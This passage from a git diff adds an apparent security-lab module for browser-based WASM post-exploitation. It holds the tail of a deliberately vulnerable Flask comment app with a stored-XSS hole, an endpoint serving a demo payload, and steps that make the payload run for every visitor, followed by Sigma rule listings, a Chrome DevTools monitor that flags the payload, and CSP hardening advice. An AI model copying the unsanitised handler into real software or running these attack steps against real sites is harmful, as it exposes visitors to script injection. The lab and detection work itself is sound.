vulnerable_app.py +``` + +Navigate to `http://127.0.0.1:8503`. + +To demonstrate the attack: +1. GET `/xss-payload` to retrieve the payload. +2. POST it as a comment body. +3. Reload the index — payload executes for every visitor. + +## Defensive notes + +- `Content-Security-Policy: script-src 'self'` blocks inline `""" + + +@app.route("/") +def index(): + return render_template_string(INDEX_HTML, comments=COMMENTS) + + +@app.route("/comment", methods=["POST"]) +def post_comment(): + body = request.form.get("body", "") + # INTENTIONALLY VULNERABLE: no sanitization. + COMMENTS.append({"body": body}) + return render_template_string(INDEX_HTML, comments=COMMENTS) + + +@app.route("/comment", methods=["GET"]) +def get_comments(): + return jsonify(COMMENTS) + + +@app.route("/xss-payload") +def xss_payload(): + """Returns the demo XSS payload for the lab walkthrough.""" + return WASM_XSS_PAYLOAD, 200, {"Content-Type": "text/plain"} + + +@app.route("/wasm/") +def serve_wasm(filename: str): + """Serves the compiled WASM module. Build with: wasm-pack build --target web""" + wasm_dir = os.path.join(os.path.dirname(__file__), "../../wasm-payload/pkg") + return app.send_from_directory(wasm_dir, filename) + + +@app.route("/health") +def health(): + return jsonify({"status": "ok", "port": 8503}) + + +if __name__ == "__main__": + print("[vulnerable-lab-app] starting on http://127.0.0.1:8503") + print("[vulnerable-lab-app] XSS payload available at /xss-payload") + app.run(host="127.0.0.1", port=8503, debug=False) diff --git a/tools/browser-native-postex/detection/README.md b/tools/browser-native-postex/detection/README.md new file mode 100644 index 0000000..9a38ac7 --- /dev/null +++ b/tools/browser-native-postex/detection/README.md @@ -0,0 +1,8 @@ +# Detection — browser-native-postex + +| Artifact | Description | +|----------|-------------| +| `sigma/anomalous_wasm_instantiation.yml` | Sigma: WASM loaded from extension or SW context | +| `sigma/wasm_sw_html_injection.yml` | Sigma: service worker HTML response modification | +| `cdp_monitor.js` | Node.js CDP monitor: attaches to Chrome DevTools Protocol, alerts on payload activity | +| `csp_hardening_template.md` | Hardened CSP headers and analysis | diff --git a/tools/browser-native-postex/detection/cdp_monitor.js b/tools/browser-native-postex/detection/cdp_monitor.js new file mode 100644 index 0000000..5308391 --- /dev/null +++ b/tools/browser-native-postex/detection/cdp_monitor.js @@ -0,0 +1,91 @@ +// CDP Runtime Monitor — detects anomalous WASM instantiation via Chrome DevTools Protocol. +// +// Usage: +// node cdp_monitor.js [--port 9222] +// +// Chrome must be started with: --remote-debugging-port=9222 +// +// Monitors: +// 1. Runtime.consoleAPICalled — flags [browser-native-postex] log messages +// 2. Network.responseReceived — flags .wasm or .js responses from extensions +// 3. ServiceWorker.workerVersionUpdated — flags SW registration/update events +// +// Lab use only — attaches to a local Chrome DevTools endpoint. + +import WebSocket from "ws"; +import http from "http"; + +const CDP_HOST = "127.0.0.1"; +const CDP_PORT = parseInt(process.argv[process.argv.indexOf("--port") + 1] || "9222"); + +async function getFirstTab() { + return new Promise((resolve, reject) => { + http.get(`http://${CDP_HOST}:${CDP_PORT}/json`, (res) => { + let body = ""; + res.on("data", (d) => (body += d)); + res.on("end", () => { + const tabs = JSON.parse(body); + const tab = tabs.find((t) => t.type === "page"); + if (tab) resolve(tab.webSocketDebuggerUrl); + else reject(new Error("No page tab found")); + }); + }).on("error", reject); + }); +} + +async function monitor() { + console.log(`[cdp-monitor] connecting to Chrome at ${CDP_HOST}:${CDP_PORT}`); + const wsUrl = await getFirstTab(); + const ws = new WebSocket(wsUrl); + + let msgId = 1; + const send = (method, params = {}) => { + ws.send(JSON.stringify({ id: msgId++, method, params })); + }; + + ws.on("open", () => { + console.log("[cdp-monitor] connected — enabling domains"); + send("Runtime.enable"); + send("Network.enable"); + send("ServiceWorker.enable"); + }); + + ws.on("message", (raw) => { + const msg = JSON.parse(raw.toString()); + const method = msg.method; + if (!method) return; + + if (method === "Runtime.consoleAPICalled") { + const text = msg.params.args?.map((a) => a.value || a.description).join(" ") || ""; + if (text.includes("browser-native-postex")) { + console.warn("[ALERT] WASM post-exploitation payload active:", text); + } + } + + if (method === "Network.responseReceived") { + const url = msg.params.response?.url || ""; + if (url.endsWith(".wasm") || url.includes("browser_native_postex")) { + console.warn("[ALERT] WASM resource loaded:", url); + } + } + + if (method === "ServiceWorker.workerVersionUpdated") { + const versions = msg.params.versions || []; + versions.forEach((v) => { + console.log("[INFO] ServiceWorker update:", v.scriptURL, "status:", v.status); + if (v.status === "activated") { + console.warn("[ALERT] New service worker activated — inspect for HTML injection"); + } + }); + } + }); + + ws.on("error", (err) => console.error("[cdp-monitor] error:", err.message)); + ws.on("close", () => console.log("[cdp-monitor] disconnected")); +} + +monitor().catch((err) => { + console.error("[cdp-monitor] fatal:", err.message); + console.error("Ensure Chrome is running with --remote-debugging-port=9222"); + process.exit(1); +}); diff --git a/tools/browser-native-postex/detection/csp_hardening_template.md b/tools/browser-native-postex/detection/csp_hardening_template.md new file mode 100644 index 0000000..c54e675 --- /dev/null +++ b/tools/browser-native-postex/detection/csp_hardening_template.md @@ -0,0 +1,75 @@ +# CSP Hardening Template — Browser-Native WASM Post-Exploitation + +Hardened Content-Security-Policy headers that mitigate the delivery vectors in this module. + +## Baseline (blocks inline script + cross-origin WASM) + +``` +Content-Security-Policy: + default-src 'self'; + script-src 'self'; + script-src-elem 'self'; + worker-src 'self'; + connect-src 'self'; + object-src 'none'; + base-uri 'none'; +``` + +**What this blocks:** +- Inline `